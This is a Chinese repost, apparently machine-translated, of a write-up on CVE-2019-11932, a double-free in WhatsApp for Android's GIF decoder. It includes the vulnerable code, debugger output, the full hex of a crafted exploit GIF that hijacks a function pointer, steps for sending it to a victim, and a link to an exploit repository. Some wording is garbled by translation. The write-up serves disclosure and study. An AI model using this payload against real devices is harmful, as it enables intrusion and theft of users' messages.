在此文章中,我将分享有关我在Android版WhatsApp中发现的双重释放漏洞以及如何将其转变为RCE的相关信息。Facebook在WhatsApp版本2.19.244中对其进行了正式修补。Facebook为此问题保留了CVE-2019-11932。

WhatsApp(Android版)用户,请务必更新到最新的WhatsApp版本(2.19.244或更高版本),以确保免受此bug影响。

步骤如下:

  • 1)攻击者通过任何手段将GIF文件发送给被攻击用户
    • 通过WhatsApp作为文档(例如,按“回形”按钮并选择“文档”以发恶意的GIF)
    • 如果攻击者在用户(即朋友)的联系人列表中,则恶意的GIF会自动下载,而无需任何用户交互。
  • 2)用户想将媒体文件发送给他/她的任何WhatsApp朋友。因此,用户按下“回形”按钮并打开WhatsApp Gallery以选择要发送给他的朋友的媒体文件。
    • 请注意,用户不必发送任何内容,因为仅打开WhatsApp Gallery就会触发该错误。按下WhatsApp Gallery后无需额外操作。
  • 3)由于WhatsApp会显示每个媒体(包括收到的GIF文件)的预览,因此将触发double-free错误和我们的RCE利用。

DPLifSlurp在libpl_droidsonroids_gif中的encoding.c中的双重释放漏洞

当WhatsApp用户在WhatsApp中打开“图库”视图以发送媒体文件时,WhatsApp会使用一个本机库解析该库,libpl_droidsonroids_gif.so以生成GIF文件的预览。libpl_droidsonroids_gif.so是一个开放源代码库,其源代码位于

https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c

 

一个GIF文件包含多个编码帧。为了存储解码的帧,使用名称为rasterBits的缓冲区。如果所有帧的大小相同,则将rasterBits重新用于存储解码的帧而无需重新分配。但是,如果满足以下三个条件之一,将重新分配rasterBits:

  • 宽度*高度>原始宽度*原始高度
  • 宽度-originalWidth> 0
  • 高度-原始高度> 0

重新分配是free和malloc的组合。如果重新分配的大小为0,则完全是免费的。假设我们有一个GIF文件,其中包含3个尺寸分别为100、0和0的帧。

  • 第一次重新分配后,我们有info->rasterBits大小为100的缓冲区。
  • 在第二次重新分配0中,info->rasterBits缓冲区被释放。
  • 在第三次重新分配0时,info->rasterBits再次被释放。

这导致了双重释放漏洞。触发位置可以在decode.c中找到:

int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth;int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight;const uint_fast32_t newRasterSize =        gifFilePtr->Image.Width * gifFilePtr->Image.Height;if (newRasterSize > info->rasterSize || widthOverflow > 0 ||    heightOverflow > 0) {    void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize,     <<-- double-free here                                       sizeof(GifPixelType));    if (tmpRasterBits == NULL) {        gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM;        break;    }    info->rasterBits = tmpRasterBits;    info->rasterSize = newRasterSize;}

在Android中,对大小为N的内存进行双精度释放会导致两个后续的大小为N的内存分配返回相同的地址。

(lldb) expr int $foo = (int) malloc(112)(lldb) p/x $foo(int) $14 = 0xd379b250 (lldb) p (int)free($foo)(int) $15 = 0 (lldb) p (int)free($foo)(int) $16 = 0 (lldb) p/x (int)malloc(12)(int) $17 = 0xd200c350 (lldb) p/x (int)malloc(96)(int) $18 = 0xe272afc0 (lldb) p/x (int)malloc(180)(int) $19 = 0xd37c30c0 (lldb) p/x (int)malloc(112)(int) $20 = 0xd379b250 (lldb) p/x (int)malloc(112)(int) $21 = 0xd379b250

在上面的代码片段中,变量$ foo被释放了两次。结果,接下来的两个分配($ 20和$ 21)返回相同的地址。

现在在gif.h中查看struct GifInfo

struct GifInfo {    void (*destructor)(GifInfo *, JNIEnv *);  <<-- there's a function pointer here    GifFileType *gifFilePtr;    GifWord originalWidth, originalHeight;    uint_fast16_t sampleSize;    long long lastFrameRemainder;    long long nextStartTime;    uint_fast32_t currentIndex;    GraphicsControlBlock *controlBlock;    argb *backupPtr;    long long startPos;    unsigned char *rasterBits;    uint_fast32_t rasterSize;    char *comment;    uint_fast16_t loopCount;    uint_fast16_t currentLoop;    RewindFunc rewindFunction;   <<-- there's another function pointer here    jfloat speedFactor;    uint32_t stride;    jlong sourceLength;    bool isOpaque;    void *frameBufferDescriptor;};

然后,我们制作以下三个尺寸的GIF文件:

  • sizeof(GifInfo)
  • 0
  • 0

当WhatsApp Gallery打开时,所述GIF文件会触发带有size的rasterBits缓冲区上的double-free错误sizeof(GifInfo)。有趣的是,在WhatsApp Gallery中,一个GIF文件被解析了两次。当再次解析所述GIF文件时,将创建另一个GifInfo对象。由于Android中的双重释放行为,因此GifInfo info对象info->rasterBits将指向相同的地址。然后,DDGifSlurp()将解码第一个帧以info->rasterBits缓冲,从而覆盖info它rewindFunction(),并将其覆盖,在DDGifSlurp()函数的末尾立即调用它。

控制PC寄存器

我们需要制作的GIF文件如下:

47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CCFF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 0000 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 089C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 0000 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 0018 00 0A 00 0F 00 01 00 00 3B

它包含四个框架:

  • 框架1:
2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00F0 CE 57 2B 6F EE FF FF
  • 框架2:
2C 00 00 00 00 1C 0F 00 00 00 00
  • 框架3:
2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00
  • 框架4:
2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00
  •  EXP:
从这里获取:https://github.com/awakened1712/CVE-2019-11932

然后复制exploit.gif文件,并将其作为文档与WhatsApp一起发送给另一个WhatsApp用户。请注意,不要将其作为媒体文件发送,否则WhatsApp会在发送之前尝试将其转换为MP4。

受影响的版本

该漏洞利用程序在WhatsApp 2.19.230版之前运行良好。该漏洞已在WhatsApp版本2.19.244中正式修复。

该漏洞利用程序适用于Android 8.1和9.0,但不适用于Android 8.0及以下版本。在较旧的Android版本中,仍然可以触发。但是,由于两次释放后系统调用了malloc,因此该应用程序在达到我们可以控制PC寄存器的位置之前就崩溃了。

 

通过上述利用,我们可以得到两个攻击媒介:

  1. 本地特权升级(从用户应用程序升级到WhatsApp):Android设备上安装了恶意应用程序。该应用程序生成恶意的GIF文件,该文件导致代码在WhatsApp上下文中执行。这使得恶意软件的应用程序盗取WhatsApp的沙箱文件,包括信息数据库。
  2. 远程执行代码:与具有远程内存信息泄露漏洞的应用程序(例如浏览器)配对,攻击者可以制作恶意GIF文件,以通过WhatsApp将其发送给用户(必须作为附件) ,而不是通过图库选择器作为图像)。一旦用户在WhatsApp中打开Gallery视图(谁从未将媒体文件发送给朋友,对吗?),GIF文件将在WhatsApp上下文中触发远程shell。

暗影安全,2012年底团队组建,中国早期进行工业安全、物联网安全的研究团队,帮助公安部以及工信部完成行业标准、安全服务、设备安检、漏洞挖掘等技术合作,拥有一定的技术积累和安全研究、安全开发的功底。

希望和更多安全从业人员发生更多有趣的故事,也真挚邀请热爱安全的你加入我们!

扩展阅读:

Whatsapp 2.19.216-远程执行代码

 

本文来源于互联网:Whatsapp 2.19.216-远程执行代码